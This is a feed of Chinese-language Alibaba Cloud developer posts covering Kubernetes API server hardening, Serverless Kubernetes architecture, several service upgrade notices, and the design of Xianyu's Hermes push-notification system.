    郡宝, Kubernetes 项目贡献者,Kubernetes 和 Kubernetes-sigs 社区成员。在容器、K8S领域有多年的实践经验,目前就职于阿里巴巴云计算容器服务团队,主要研究方向有容器存储、容器编排 、 AGS产品等领域

    AGS 试用连接 https://help.aliyun.com/document_detail/156348.html?spm=a2c4g.11186623.6.708.29416a0crpUHqt

    ]]>
    如何让你的k8s集群更安全 Fri, 02 May 2025 09:39:04 +0800 12ee6fb29ca2dd8d620270e66415eeb9cc694588.png

    最近阿里云容器团队与Palo Alto Networks的安全团队发现,目前用户自己部署的Kubernetes集群中有约2752个可能存在安全隐患,比如用户把Kubernetes的API向所有互联网IP地址开放了。其中有超过120个Kubernetes集群甚至没有启用API认证,这导致了所有人都可以对这些不安全Kubernetes集群进行访问,读取信息,甚至远程部署恶意容器。这将给用户带来极大的安全风险。
    c14b465e07b99db22f81c934bdcc2aa495f78013.png
    同时,Palo Alto Networks的Unit42的资深研究员Jay Chan发现目前全球有超过1400个不安全的Docker主机,8673个不安全运行的容器,17927个有漏洞的镜像和15229个不安全的目录挂载。更需要大家引起重视的是,其中47.7%在中国。可查看原文链接

    首先,介绍一下什么是Kubernetes的API server。
    顾名思义,Kubernetes的API server的主要功能就是提供REST API,来访问和控制Kubernetes集群的。它的功能非常强大,一旦你拥有了这个API的所有权限,也就类似你有了对整个集群的root权限了。
    对于没有对Kubernetes的API进行安全防护的情况,黑客可以通过以下三种方式对用户环境产生极大影响:

    • 1 部署带有恶意软件的容器
      首先上传恶意镜像去公共的镜像仓库。然后自动的下载并部署到不安全的Kubernetes集群中去。
    • 2 先部署合法的容器,然后容器运行时下载恶意代码,并执行
      首先先部署合法的容器在Kubernetes集群中,逃避一些容器镜像检查的策略。然后通过运行的容器去下载并执行恶意代码。
    • 3 直接在主机上部署并运行恶意代码
      通过部署一些特权容器,或者mount主机的根目录进入容器,来获得提权,直接在主机上下载恶意代码,并且执行。

    这些将给用户带来极大的安全隐患,我们需要对整个容器平台进行安全的防护。
    首先,我们怎么知道我们的Kubernetes集群的API server有没有启用不安全的端口呢?
    Kubernetes的API server默认监听8080端口,也就是不安全的端口,所有的访问都会接受,并且不需要通过任何的认证和授权。也就是刚才所提到的,如果你使用了这个默认配置,整个K8s集群等于是向所有人都开放了,这是个非常严重的问题。
    你可以通过以下命令来检查:

    02f83722f0bb4cad5f8e62b984c6f2662c15b82f.png

    如果返回了类似如下的信息:
    fd27d70fa331b00a42fe4cb6339fd8b4c5b18256.png

    则说明你的K8s集群使用的默认设定,也就是说你的API端口不需要任何验证就可以直接操作你的集群,需要马上进行修复。
    修改API server的配置中--insecure-port项参数为0,并且没有配置--insecure-bind-address。
    同时启用安全的访问端口:

    o 启用TLS加密。通过--tls-cert-file,--tls-private-key-file 这两项来设置证书及密钥。

    o 默认端口为6443, 可以通过--secure-port来修改。

    o 通过 --bind-address 来修改绑定地址。

    详细请参见Kubernetes官网

    1b6578a064564cc999b4b160182913f6a1ceb348.png

    整个Kubernetes的部署会比较复杂,同时对安全的配置也相当的麻烦。一些早期的Kubernetes版本中往往有很多安全漏洞存在。所以用户可以直接使用阿里云的ACK容器服务,通过很方便的导航式部署模式免去很多客户的麻烦。阿里云的ACK集群默认启用安全的API访问端口,系统组件的参数配置和镜像均经过安全合规加固;同时通过授权管理,加密通信,证书管理,默认启用RBAC等手段来加固整个客户Kubernetes集群的平台安全,彻底杜绝上述自建集群由于配置失误缩带来的重大安全隐患。

    在授权管理方面,ACK采用阿里云RAM和Kubernetes RBAC结合的机制,为用户提供了对API server以及Kubernetes集群其他资源的访问控制机制。用户可以使用主账号和具有管理员权限的子账号角色扮演用户进行授权管理,根据工作需要对管理的子账号赋予细粒度的集群内资源访问权限,例如某个集群的一个命名空间的只读权限。

    同时ACK还面向不同身份的使用者提供了相应的缺省RBAC角色模板,方便用户使用:

    角色 说明
    管理员 对所有命名空间下所有资源的读写权限
    运维人员 对所有命名空间下控制台可见资源的读写权限,对集群节点,存储卷,命名空间,配额的只读权限
    开发人员 对所有命名空间或所选命名空间下控制台可见资源的读写权限
    受限用户 对所有命名空间或所选命名空间下控制台可见资源的只读权限
    自定义 权限由您所选择的 Cluster Role 决定,请在确定所选 Cluster Role 对各类资源的操作权限后再进行授权,以免子账号获得不符合预期的权限

    使用ACK集群的用户可以方便的通过控制台或OpenAPI的方式获取集群访问kubeconfig凭证,如果因为人员离职等原因发生凭证的泄漏,可以立即吊销,从而确保账户安全。更多内容请参考阿里云容器服务官方文档

    Docker的进程隔离机制有可能导致的安全漏洞,对于安全要求高的客户来讲无法接受。例如客户希望能够有一个高隔离能力的多租平台。这类用户可以尝试阿里云新推出的安全沙箱容器的技术。不同于传统Docker应用进程隔离,共享宿主机操作系统内核的设计特点,安全沙箱容器采用虚拟化技术隔离容器应用,每个容器都独享操作系统内核。这样的优势在于隔离性大大提升,可以防止很多进程隔离带来的安全隐患。并且安全沙箱容器的性能非常好,实测可以达到原生Docker性能的90%以上,而且运行效率还在持续提升。

    除了架构方面的加固,用户也需要对容器的东西,或者南北向的流量进行防护,对镜像仓库的镜像进行漏洞扫描,对容器的进程,文件系统,系统调用等方面进行管理和保护。用户也迫切希望看到对容器安全的管理和企业的开发运维流程结合起来,从而把DevOps演进为DevSecOps。这需要在容器镜像的栖身之地镜像仓库入手。阿里云的镜像仓库服务,可以支持 Linux、Windows、ARM 等多架构容器镜像的托管。安全方面镜像服务提供了基于RAM的认证授权机制容器镜像扫描, 签名等能力,并可以与第三方安全产品进行集成,例如Palo Alto Networks的Prisma Cloud。同时阿里云还推出了镜像服务企业版,提供了网络和权限的访问控制,并支持更为安全的云原生交付链管理。

    基于容器的开发,集成,部署,运行环境变得越来越复杂,如何全面保护这个快速变化的环境远远比单单保护Kubernetes集群复杂的多。Gartner在2019年十月发布的一份云安全研究报告中提到,那些在云环境中最成功的网络攻击,都是由于用户的设置缺失,人为错误或者管理失败造成的,而不是公有云厂商安全防护职责的失误。

    早在2017年,Twistlock的联合创始人John Merrolo就受邀为美国国家标准技术研究所 (NIST) 编写了SP800-190应用容器安全指南。美国国家标准技术研究所 (NIST) 的职责之一是发布计算机网络安全标准和指南。 美国联邦政府部门需要在NIST安全指南发布一年之内遵照执行。Twistlock在2019年五月成为Palo Alto Networks云安全平台Prisma的一员,同时John Merrolo先生成为Prisma的全球副总裁,继续引领公司成为主流的容器安全平台。

    在过去的五年中,Prisma为超过90%的美国联邦政府机构,超过40%的财富100强企业服务,为他们的容器环境通过全面的保护。在此主要列举客户在容器安全领域面对的十大挑战:

    • 1 对容器环境提供实时全面直观的可视性,我们保护不了我们看不见的环境。
    • 2 控制镜像的来源,让应用的开发,集成,部署,运行的生命周期中只使用可靠的镜像来源。
    • 3 在应用的生命周期中持续的进行镜像漏洞扫描。漏洞发现不断更新,昨天安全的镜像可能今天就会因为新发现的漏洞而成为骇客的攻击目标。实时监控镜像存在已知漏洞及其严重性以制定修复优先次序。
    • 4 监控和管理生产环境,包括对容器漏洞持续监控,修复存在漏洞的容器。
    • 5 实时监控特权容器的使用,以防止骇客通过容器攻击主机。
    • 6 实时监控应用服务暴露在集群之外的容器。这些容器最容易受到攻击。
    • 7 实时监控运行时中所有容器的异常行为,对于异常行为报警或阻断。
    • 8 甄别和阻断恶意容器攻击。
    • 9 对容器应用服务进行合规性的检查和持续监控,能够检查CIS, PCI-DSS, HIPAA, GDPR, NIST SP 800-190, 以及FISMA等常见的国际标准。
    • 10 建立和监控针对容器环境和云原生应用程序的访问控制措施,并与企业和云厂商的访问控制系统集成。

    面对这些挑战,我们需要一直努力完善对容器环境的保护。我们不但要有效保护在共有云和专有云中部署的Kubernetes集群,还需要为整个软件生命周期,提供跨主机、容器和无服务器部署的整体保护。Prisma Cloud计算版本身是云原生的,并且支持 API,与阿里云的ACK,ASK容器平台无缝集成。同时,Palo Alto Networks的容器安全解决方案也将很快上架阿里云的容器镜像市场,方便大家快速部署并集成到大家的容器平台之中。

    阿里云大学提供的免费云原生技术公开课,详细讲解了Kubernetes 以及它的安全访问控制。阿里云大学还提供了免费的容器安全与Palo Alto Networks解决方案课程, 对于如何利用Prisma Cloud 计算版全面保护你的容器环境和应用的生命周期进行了详细的讲解和演示,为了方便大家讨论Kubernetes的防护以及容器安全解决方案,Palo Alto Networks与阿里云容器团队建立了容器安全讨论钉钉群。欢迎大家扫码加入钉钉群和我们进一步讨论容器安全的话题。
    305dcf553c1a2b19f0cf2ca1914c4effdf8b47a3.png

    ]]>
    Serverless Kubernetes - 理想,现实与未来 Fri, 02 May 2025 09:39:04 +0800 作者:贤维(阿里云Serverless Kubernetes产品TL),易立(阿里云容器服务产品线负责人)

    从Serverless容器到Serverless Kubernetes

    Serverless(无服务器)容器是让用户无需购买和管理服务器直接部署容器应用的产品、技术形态。Serverless容器可以极大提高容器应用部署的敏捷度和弹性能力,降低用户计算成本;让用户聚焦业务应用而非底层基础设施管理,极大地提高应用开发效率,降低运维成本。
    1091DFD0-20AB-4514-B8CD-70A68A0889B6.png
    目前Kubernetes已经成为业界容器编排系统的事实标准,基于Kubernetes的云原生应用生态(Helm, Istio, Knative, Kubeflow, Spark on k8s等)更是让Kubernetes成为云操作系统。Serverless Kubernetes得到了云厂商的高度关注。一方面通过Serverless方式根本性解决K8s自身的管理复杂性,让用户无需受困于K8s集群容量规划、安全维护、故障诊断;一方面进一步释放了云计算的能力,将安全、可用性、可伸缩性等需求由基础设施实现,这样可以形成差异化竞争力。

    阿里云在2018年5月推出 ECI(Elastic Container Instance弹性容器实例),ASK (Alibaba Cloud Serverless Kubernetes)等产品,并在2019年2月正式商业化.

    行业趋势

    Gartner预测到2023年,70% AI任务会通过容器、Serverless等计算模型构建。在AWS的调研中,在2019年 40%的ECS(AWS弹性容器服务)新客户采用ECS on Fargate的Serverless Container形态。

    Serverless容器是现有Container as a Service的进化方向之一,可以和fPaaS/FaaS(Function as a Service)形成良好的互补。FaaS提供了事件驱动的编程方式,用户只需实现函数的处理逻辑,比如当接收用户上传一个视频时,对视频进行转码和加水印。FaaS方式开发效率很高,也可以将弹性发挥到极致,但需要用户改变现有的开发模式来进行适配。而Serverless Container 应用的载体是容器镜像,灵活性很好,配合调度系统可以支持各种类型应用,比如无状态应用、有状态应用、计算任务类应用等等。用户大量现有的应用无需修改即可部署在Serverless Container环境中。
    1585560501272-2a1cd8b3-abc3-480b-85af-b5df2dc24003.png

    原图:https://blogs.gartner.com/tony-iams/containers-serverless-computing-pave-way-cloud-native-infrastructure/

    在Gartner在 2020年 Public Cloud Container Service Market评估报告中把Serverless容器作为云厂商容器服务平台的主要差异化之一,其中将产品能力划分为Serverless 容器实例和Serverless Kubernetes两类。这与阿里云ECI/ASK的产品定位高度一致。如下图。

    Gartner报告中也谈到 Serverless容器业界标准未定,云厂商有很多空间通过技术创新提供独特的增值能力,其对云厂商的建议是:

    • 扩展Serverless容器应用场景和产品组合,迁移更多普通容器workload到serverless容器服务。
    • 推进Serverless容器的标准化,减轻用户对云厂商锁定的担忧。
      1585381337616-e67e0928-d239-426a-bcb3-435e60e3754f.png

    典型场景与客户价值

    自阿里云ASK/ECI从2018年5月份正式公测以来,我们非常高兴的看到Serverless容器的价值逐渐被客户认可。典型客户场景包括:

    • 在线业务弹性扩容:基于ASK支撑在线业务弹性扩容,在30s之内可以极速扩容500个应用实例,轻松应对预期和非预期突发流量。比如此次疫情时期多个在线教育客户使用ASK/ECI超强弹性能力轻松面对业务高峰。
    • 免运维Serverless AI平台:基于ASK开发的智能、免运维的AI应用平台,可以让开发者创建自己的算法模型开发环境,而平台则会按需弹性伸缩,极大减少了系统维护和容量规划复杂性。
    • Serverless大数据计算:基于ASK构建Serverless大数据计算平台。通过Serverless化的Spark, Presto等数据计算应用,灵活满足企业中不同业务部门快速成长过程中对多种计算计算任务,高弹性,强隔离、免维护的业务需求。

    细分在阿里云Kubernetes服务中使用Serverless容器的场景,我们同时支持在K8s集群中使用ECI的方案ACK on ECI,和针对Serverless Kubernetes的极致优化的产品ASK。二者可以实现互补,覆盖满足不同客户的的诉求。

    62E008C5-00A7-4C80-814B-31CC91239C41.png

    Serverless容器架构思考

    不同于标准K8s,Serverless K8s与IaaS基础设施深度整合,其产品模式更利于公有云厂商通过技术创新,提升规模、效率和能力。在架构层面我们将Serverless容器分成容器编排和计算资源池两层,下面我们将对这两层进行深度剖析,分享我们对Serverless容器架构和产品背后的关键思考。

    Kubernetes 的成功秘诀

    Kubernetes在容器编排的成功不止得益于Google的光环和CNCF(云原生计算基金会)的努力运作。背后是其在Google Borg大规模分布式资源调度和自动化运维领域的沉淀和升华。

    其中几个技术要点:

    声明式API:由于Kubernetes采用了声明式的API。开发者可以关注于应用自身,而非系统执行细节。比如Deployment, StatefulSet, Job等不同资源类型,提供了对不同类型工作负载的抽象。对Kubernetes实现而言,基于声明式API的 “level-triggered” 实现比 “edge-triggered” 方式可以提供更加健壮的分布式系统实现。

    可扩展性架构:所有K8s组件都是基于一致的、开放的API实现、交互。三方开发者也可通过CRD(Custom Resource Definition)/Operator等方法提供领域相关的扩展实现,极大提升了K8s的能力。

    可移植性:K8s通过一系列抽象如Loadbalance Service, Ingress, CNI, CSI,帮助业务应用可以屏蔽底层基础设施的实现差异,灵活迁移。

    Serverless Kubernetes的设计原则

    Serverless Kubernetes 必须要能兼容Kubernetes生态,提供K8s的核心价值,此外要能和云的能力深度整合。

    用户可以直接使用Kubernetes的声明式API,兼容Kubernetes的应用定义,Deployment, StatefulSet, Job, Service等无需修改。

    全兼容Kubernetes的扩展机制,这个很重要,这样才能让Serverless Kubernetes支持更多的工作负载。此外Serverless K8s自身的组件也是严格遵守K8s的状态逼近的控制模式。

    Kubernetes的能力尽可能充分利用云的能力来实现,比如资源的调度、负载均衡、服务发现等。根本性简化容器平台的设计,提升规模,降低用户运维复杂性。同时这些实现应该是对用户透明的,保障可移植性,让用户现有应用可以平滑部署在Serverless K8s之上,也应该允许用户应用混合部署在传统容器和Serverless容器之上。

    从 Node Centric 到 Nodeless

    传统的Kubernetes采用以节点为中心的架构设计:节点是pod的运行载体,Kubernetes调度器在工作节点池中选择合适的node来运行pod,并利用Kubelet完成对Pod进行生命周期管理和自动化运维;当节点池资源不够时,需要对节点池进行扩容,再对容器化应用进行扩容。

    对于Serverless Kubernetes而言,最重要的一个概念是将容器的运行时和具体的节点运行环境解耦。只有如此,用户无需关注node运维和安全,降低运维成本;而且极大简化了容器弹性实现,无需按照容量规划,按需创建容器应用Pod即可;此外Serverless容器运行时可以被整个云弹性计算基础设施所支撑,保障整体弹性的成本和规模。

    在2017年底,我们启动Serverless Kubernetes项目的时候,我们一直在思考,如果Kubernetes天生长在云上,它的架构应该如何设计。我们在现有Kubernetes的设计实现上,进行了扩展和优化。构建了Cloud Scale的Nodeless K8s架构 - 内部的产品代号为Viking,因为古代维京战船以迅捷和便于操作而著称。

    1586317764066-fcb8f164-8ca7-4c0c-9f46-adae518119a6.png

    • Scheduler:传统K8s scheduler的主要功能是从一批节点中选择一个合适的node来调度pod,满足资源、亲和性等多种约束。由于在Serverless K8s场景中没有node的概念,资源只受限于底层弹性计算库存,我们只需要保留一些基本的AZ亲和性等概念支持即可。这样scheduler的工作被极大简化,执行效率极大提升。此外我们定制扩展了scheduler,可以对serverless workload进行更多的编排优化,可以在保证应用可用性的前提下充分降低了计算成本。
    • 可伸缩性:K8s的可伸缩性收到众多因素的影响,其中一个就是节点数量。为了保障Kubernetes兼容性,AWS EKS on Fargate采用Pod和Node 1:1模型(一个虚拟节点运行一个Pod),这样将严重限制了集群的可扩展性,目前单集群最多支持1000个pod。我们认为,这样的选择无法满足大规模应用场景的需求。在ASK中我们在保持了Kubernetes兼容性的同时,解决了集群规模受限于Node影响,单集群可以轻松支持10K Pod。此外传统K8s集群中还有很多因素会影响集群的可伸缩性,比如部署在节点上的 kube-proxy,在支持clusterIP时,任何单个endpoint变更时就会引起全集群的变更风暴。在这些地方Serverless K8s也使用了一些创新的方法限制变更传播的范围,这些领域我们将持续优化。
    • 基于云的控制器实现:我们基于阿里云的云服务实现了kube-proxy、CoreDNS、Ingress Controller的行为,降低系统复杂性,比如:

      • 利用阿里云的DNS服务PrivateZone,为ECI实例动态配置DNS地址解析,支持了headless service
      • 通过SLB提供了提供负载均衡能力
      • 通过SLB/ALB提供的7层路由来实现Ingress的路由规则
    • 面向工作负载的深度优化:未来充分发挥Serverless容器的能力,我们需要针对工作负载的特性进行深度优化。

      • Knative:Knative是Kubernetes生态下一种serverless应用框架,其中serving模块支持根据流量自动扩缩容和缩容到0的能力。基于Serverless k8s能力,阿里云Knative可以提供一些新的差异化功能,比如支持自动缩容到最低成本ECI实例规格,这样可以在保障冷启动时间的SLA并有效降低计算成本。此外通过SLB/ALB实现了Ingress Gateway,有效地降低了系统复杂性并降低成本。
      • 在Spark等大规模计算任务场景下,也通过一些垂直优化手段提高大批量任务的创建效率。这些能力已经在江苏跨域的客户场景中得到验证。

    Serverless容器基础设施

    对于Serverless容器而言,我们梳理的客户重点诉求是:

    • 更低的计算成本:弹性成本要低于ECS,long run应用成本要接近ECS包年包月
    • 更高的弹性效率:ECI扩容速度要远高于ECS
    • 更大的弹性规模:与传统ECS节点扩容不同,一个大规模容器应用动辄需要数万核的弹性算力。
    • 持平的计算性能:ECI计算效能需要和同规格ECS有一致的性能表现
    • 更低的迁移成本:与现有容器应用生态完美集成
    • 更低的使用成本:全自动化安全和运维能力

    ECI的关键技术选择如下:

    基于轻量化Micro VM的安全容器运行时

    对于云产品而言,首先的考虑就是安全性。为此,ECI选择基于袋鼠云原生容器引擎和轻量化Micro VM来实现安全、隔离的容器运行时。除了运行时的资源隔离之外,不同客户之间的网络、存储、quota、弹性SLO等一系列能力也基于阿里云基础设施,实现了严格的多租隔离。

    在性能方面,除了袋鼠容器引擎在OS/容器方面的高度优化之外,ECI在容器执行上优化集成了现有阿里云基础设施能力,比如支持ENI网卡直通、存储直接挂载。这些能力保障ECI中应用执行效率等于甚至略优于现有ECS运行环境。

    基于 Pod 的基本调度单位和标准、开放的API接口

    与Azure ACI, AWS Fargate on ECS不同,在ECI设计初期就确定了基于Pod作为Serverless容器的基本调度和运行单位,这样可以更加简单地结合上层Kubernetes编排系统。

    ECI提供提供了 Pod的生命周期管理能力,包括 Create/Delete/Describe/Logs/Exec/Metrics等。ECI Pod与K8s Pod能力一致,不同之处在于其沙箱基于Micro VM而非CGroup/Namespace。这样使得ECI Pod 可以比较完美地支持各种K8s应用,包括Istio这样以sidecar方式动态注入的技术。

    此外标准化的API屏蔽了底层资源池的具体实现,可以同时可以容纳底层不同形态、不同架构、不同的资源池和生产调度实现。ECI底层架构做了多次优化、迭代,比如袋鼠安全沙箱的创建可以通过神龙架构的MOC卡进行offload,但是这些对上层应用和集群编排是无感的。

    此外API需要拥有足够的通用性支持在多个场景中使用,让用户在ASK/ACK、自建k8s和混合云场景中都可以充分利用Serverless容器的优势和价值。这个也是阿里云ECI和友商一个重要的不同。

    ECI与ECS并池架构

    通过并池我们有能力充分整合阿里云弹性计算资源池的算力,包括多种售卖模式(按量,spot,RI,Saving Plan等),多种机型供应(GPU/vGPU, 新CPU架构上线),多样化的存储能力(ESSD,本地盘)等,让ECI在产品功能,成本和规模上更有优势,满足客户对计算成本和弹性规模的强诉求。

    Serverless容器的挑战

    Serverless容器资源创建过程首先是一个计算资源的创建装配过程,是计算、存储、网络多个基础IaaS资源的协同装配过程。然而与ECS不同,Serverless容器有很多独立的挑战

    1585630140379-18882155-d5f9-481e-92c2-45c1245536fc.png

    根据Sysdig 2019年容器的调研报告, 超过 50% 的容器生命周期小于 5 分钟。Serverless容器需要具备秒级的启动速度才能满足用户对Serverless容器的启动诉求。Serverless 容器自身的启动速度主要受如下因素影响:

    • 底层虚拟化资源的创建和组装:通过端到端管控链路的优化ECI可以将资源准备时间优化到亚秒级。
    • Micro VM操作系统启动时间:袋鼠容器引擎针对容器场景对操作系统进行了大量剪裁和优化,极大减少了OS启动时间
    • 镜像下载时间:从Docker镜像仓库下载镜像并在本地解压缩是一个非常耗时的操作。下载时间取决于镜像大小,通常在30秒到数分钟不等。在传统Kubernetes中, worker节点会在本地缓存已下载过的镜像,这样下次启动不会重复下载和解压。为了实现极致弹性成本效率,ECI和ECS采用并池的策略,计算存储分离的架构,这也意味着我们不可能通过传统方式利用本地盘来做容器镜像的缓存。为此我们实现了一个创新的方案:可以将容器镜像制作成一个数据盘快照。当ECI启动时,如果镜像快照存在,可以直接基于快照创建一个只读数据盘,并随着实例启动自动挂载,容器应用直接利用挂载数据盘作为rootfs进行启动。基于盘古2.0架构和阿里云ESSD云盘的极致I/O性能,我们可以将镜像加载的时间缩小到1秒以内。

    这个领域还有很大发展空间,下一步会进一步和多个团队共同优化Serverless容器的启动效率。

    此外, Serverless容器的调度相比ECS更关注资源弹性供给的确定性。Serverless容器强调按需使用,而ECS更多是提前购买预留。在大规模容器创建场景下,单用户单AZ弹性SLO保障是一个很大的挑战。在电商大促、跨年活动和最近的突发疫情保障的一系列客户支持中,客户对于云平台是否能够提供弹性资源供给确定性SLO是极度重视的。此外,结合Serverless K8s,上层调度器和ECI弹性供给策略配合,我们可以给客户更多对弹性资源供给的控制能力,平衡弹性的成本,规模和持有时间等不同需求维度。

    Serverless容器的并发创建效率也至关重要。在高弹性场景,客户要求30s内启动500 pod副本来支持突发流量,类似Spark/Presto等计算业务对并发启动的诉求更大。

    为了有效减低计算成本,Serverless容器应该提升部署密度。由于采用MicroVM技术,每个ECI实例拥有独立的OS内核。此外为了兼容K8s语义,还有一些辅助进程运行在ECI内部。目前每个ECI进程会有100M左右的额外开销。类似EKS on Fargate,每个Pod也有近256M左右的系统开销。这部分会降低Serverless的部署密度。我们需要将共性的开销下沉到基础设施之上,甚至通过MOC软硬一体的方式来进行卸载。

    未来展望

    在预期范围内各大云厂商将会持续投入Serverless容器方向来加大容器服务平台的差异化。上面已经提到成本、兼容性、创建效率和弹性供给保障是serverless容器技术重要的硬核能力。

    我们将联合阿里云多个团队共同建设阿里云云原生IaaS基础设施, 一方面进一步优化现有Serverless容器产品形态,给客户一个更低成本、更好的使用体验,更佳的兼容性的Serverless K8s产品。一方面基于Serverles容器,未来也可以帮助上层应用有更多发展和创新空间。Cloud Native First! Serverless First!是我们前进的方向。

    ]]>
    【升级】4月13日至15日分析型数据库MYSQL版基础版升级公告 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【分析型数据库】【升级通知】

    升级窗口:北京时间2020年4月13日00:00 - 4月15日23:59,用户设定的升级窗口

    升级内容:为了提升服务品质,AnalyticDB for MySQL将于上述时间对基础版用户进行数据库软件升级,修复缺陷、优化性能及发布新的功能。

    升级版本:V3.0.9.6

    请见帮助文档中版本发布记录章节:https://help.aliyun.com/document_detail/141629.html?spm=a2c4g.11186623.6.543.943c787eqB46sD

    升级影响:数据库升级时间段内,数据库的访问、账号管理、数据库管理以及IP白名单设置默认不会受到影响。数据库升级时间段内,会发生短时间不可用情况,影响时长根据数据量在十分钟至一个小时左右。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】4月10消息队列AMQP紧急升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年4月10日 00:00 - 06:00

    升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

    升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】4月17日DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【DDoS高防(国际)】【升级通知】

    升级窗口:北京时间 2020年4月17日 00:00-06:00

    升级内容:DDoS高防(国际)加速线路进行网络升级操作
    升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    闲鱼触达系统背后——我想更懂你-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 屏幕快照 2020-04-09 上午11.59.47.png

    作者|赵志诚(之诚)
    出品|阿里巴巴新零售淘系技术部

    背景

    上周看完《闲鱼如何通过Push升级,更懂你?》,大家是不是一直等着下篇呢?Hermes 咋就这么敏捷呢?她咋就这么懂你呢?今天,小橙子就带领大家一起揭开她神秘的面纱。触达类业务,对用户最重要的三个问题:

    • When is Right? 什么时候发给我最合适?

    • Who is Right? 什么样的场景更适合我?

    • What is Right? 发什么内容更吸引我,我更感兴趣,对我有帮助呢?

    秉承这个原则,如何快速的触达用户,更好的更优质的推送用户感兴趣的内容,是消息推送需要解决的关键问题。

    思路

    Hermes 的设计理念是将系统分为三部分,不同的组件实现不同的需求:

    • 合理的选择发送时机(When)通过任务中心完成。

    • 不同场景选择不同的用户(Who)通过配置中心完成。

    • 发送用户最感兴趣的内容(What)通过匹配中心完成。

    首先,让我们来了解一下 Hermes 的整体技术架构。

    3.png

    我们可以从架构图中看出,配置中心负责维护平台核心的数据模型,提供任务和素材的内容给匹配中心和任务中心;任务中心负责触达的时机选择和实际的触达计划,保证系统稳定性;匹配中心负责素材场景择优,疲劳度控制以及实验。在具体讨论各个部分的设计之前,让我们先梳理一下 Hermes 在 push 整体触达链路上的不同类型:

    • 个性化触发:通过洞察用户感兴趣的内容,有针对性的帮助闲鱼用户发现价值。举例来说,通过算法,找到用户最容易接受消息推送的时段(某用户 A 喜欢在上午吃完早餐后打开手机),推送用户感兴趣的消息内容(用户 A 最近喜欢浏览一些数码产品),帮助他们更好的通过闲鱼满足个人需求(闲鱼将最近有关数码产品的一些促销活动推送给用户 A,用户 A 找到了一个好 deal,很开心)

    • 实时触发:通过洞察用户使用闲鱼的实时行为,更好的帮助用户实现个人需求,比如用户浏览了某个商品 x,如果商品 x 降价了,我们会通过消息推送告知用户曾经浏览过的商品降价了,这样用户就可以用更便宜的价格买到喜欢的商品。类似的还有关注卖家上新等场景。在触达方式上,我们有 push、短信、popLayer 等不同的触达方式,针对每种方式的特点,优化用户接收消息的体验。

    结合上述两种类型,我们来讲解系统是如何通过各部分的配合实现上述链路的。

    配置中心

    配置中心是 Hermes 敏捷的重要一环,如何快速的发掘用户感兴趣的内容,快速的配置,快速的上线是影响用户体验的重要因素。

    首先需要明白配置中心的三个核心角色,任务、人群和素材。运营可以通过平台配置不同的活动(就是任务),每个活动都可以创建多个素材,素材支持千人千面(个性化内容),运营同学针对各自负责的活动,圈选对应的人群(奥格用户增长平台【1】),所以任务和素材是一对多的关系,任务和人群是一对一的关系。

    2.png

    Hermes 的配置中心对任务和素材进行分开管理,系统会把任务按照触达目的进行分类,任务关联素材。明确的分类管理,对运营同学管理当前的营销活动,活动目的以及触达形式一目了然,任务素材审核机制保证了推送给用户的活动质量,数据大盘的报表便于后期做数据分析,更好的了解用户对发送内容的反馈。

    如何发掘用户个性化的内容呢?每个业务场景都会根据不同用户的历史行为产出一张个性化 ODPS 表,这里面算法会根据不同用户的特点产出不同的内容。此外,时效性也非常关键,计算出来的个性化内容如果几天后才发给用户,可能用户已经不感兴趣或者有新的关注点,如何快速同步产出的结果来及时发送给用户呢?

    在数据流转的设计架构中,配置中心的任务素材内容我们存储在 mysql 和 ODPS(阿里海量数据离线处理平台【2】)中,通过离线同步和实时同步两种方式输入到匹配中心(算法中心):任务素材的配置信息存储在 mysql 中,离线通过 ODPS 同步机制,实时通过监听 binlog 机制,同步发送 MQ 消息给匹配中心。

    7.png

    素材千人千面的内容我们存储在 ODPS 表中,离线同步我们采用了 ODPS 同步机制,实时同步我们利用 Blink(阿里海量数据实时流计算平台【3】)来完成,具体的方式通过 Blink 监听 ODPS 表的内容变更,然后将内容同步到匹配中心对应的数据存储中(IGraph 数据库,下文会有介绍)。通过实时的数据同步,我们可以做到内容快速配置上线,这也体现了 Hermes 的敏捷。结合个性化内容的生成,我们可以给匹配中心提供充足的素材供匹配中心找寻用户最感兴趣的内容,发掘用户的兴趣点。

    4.png

    任务中心

    任务中心主要负责触达时机的确定,用户校验,计算任务素材匹配列表,调用匹配中心来判定是否对用户进行触达,业务校验,数据埋点,消息触达,整体链路如下图:

    1.png

    在触达时机上,根据不同类型的消息特点,我们把触达时机分为两类:个性化触发是算法通过离线 T-1 日算出每个用户最有可能接受触达的时间(个性化时间),产生一张 ODPS 表,任务中心通过 SchedulerX(阿里分布式调度系统)调度这张个性化时间表,查找符合条件的用户列表,将用户列表封装为消息发送(MetaQ,阿里自研分布式消息队列),接收到消息的服务针对每个用户,进行上述的链路传递。

    实时触发是通过端智能的用户行为采集,上报,根据用户目前所在的场景,挑选适合该场景的信息发送给用户。

    这其中,感知用户行为和决策下发是 Omega 系统实现的,Hermes 通过与 Omega 系统配合,获得触发时机以及对应场景,关于 Omega 系统的介绍,《一个实时精准触达系统的自我修养》会为你详细的阐述。

    5.png

